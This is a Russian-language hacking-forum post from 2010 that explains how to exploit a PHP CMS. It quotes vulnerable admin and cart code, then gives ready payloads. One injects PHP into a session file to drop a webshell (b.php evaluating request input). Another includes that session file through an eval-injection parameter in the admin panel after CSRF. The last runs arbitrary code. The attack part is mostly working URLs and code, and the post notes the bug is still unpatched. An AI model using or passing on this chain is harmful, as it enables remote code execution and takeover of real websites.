
08.05.2010, 04:53
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
Еще раз возвращаемся к єтой CMS.
Cмотрим админку в самой последней версии.
/admin/includes/cp.php
PHP код:
function cpProceedBody(){
ob_start();
$link = str_replace('/', '', $GLOBALS['applet']);
$link = str_replace(':', '', $link);
$link = str_replace('-', '', $link);
$file = $link . '.php';
include('applets/'.$file);
eval('applet_'.$link.'();');
$GLOBALS['cp_page_body'] = ob_get_clean();
}
Как видно, баг не пофиксен.
Искал уязвимости, но увилел запись в сесcию и неоставил без внимания.
/components/price/cart.php
PHP код:
define("VALID_CMS", 1);
session_start();
include('../../includes/config.inc.php'); //configuration
include('../../includes/database.inc.php'); //database connection
include('../../core/cms.php'); //CMS engine
if (isset($_REQUEST['addtocart'])){
if(!isset($_SESSION['cart'])) { session_register('cart'); $_SESSION['cart'] = array(); }
foreach($_REQUEST as $key=>$value){
if (strpos($key, 'item')===0){
if(isset($_SESSION['cart'][$value])){
$_SESSION['cart'][$value] += $_REQUEST['kolvo'][$value];
} else {
$_SESSION['cart'][$value] = $_REQUEST['kolvo'][$value];
}
}
}
header('location:/price/cart.html');
}
if (isset($_REQUEST['clearcart'])){
$_SESSION['cart'] = '';
session_unregister('cart');
header('location:/price/cart.html');
}
Результат:
Пишем в сесию выполнение eval.
PHPSESSID=c44e2475683109ef2da34559883edc2f
_http://[host]/[path]/components/price/cart.php?addtocart&item=e&kolvo[e]=<? $handle = fopen('b.php', 'w');fwrite($handle, '<? eval(stripslashes($_REQUEST[f])); ?>');fclose($handle); ?>
После CSRF в админке
Win
_http://[host]/[path]/admin/index.php?view=;include($_REQUEST[f]);rand&f=Z:\tmp\sess_c44e2475683109ef2da34559883ed c2f
Диск на винде можно, например, с константы __FILE__ выдрать.
Unix
_http://[host]/[path]/admin/index.php?view=;include($_REQUEST[f]);rand&f=/tmp/sess_c44e2475683109ef2da34559883edc2f
Имеем выполнение кода для нас
_http://[host]/[path]/admin/b.php?f=phpinfo();
плюс - не надо задевать другие ресурсы, тоесть вся информация крутиться на целевом сервере!
Можно заюзать LFI The matrix. Посмотрел в 1.5.2 файл cart.php - такой же ):
Последний раз редактировалось Strilo4ka; 08.05.2010 в 05:25..
|
|
|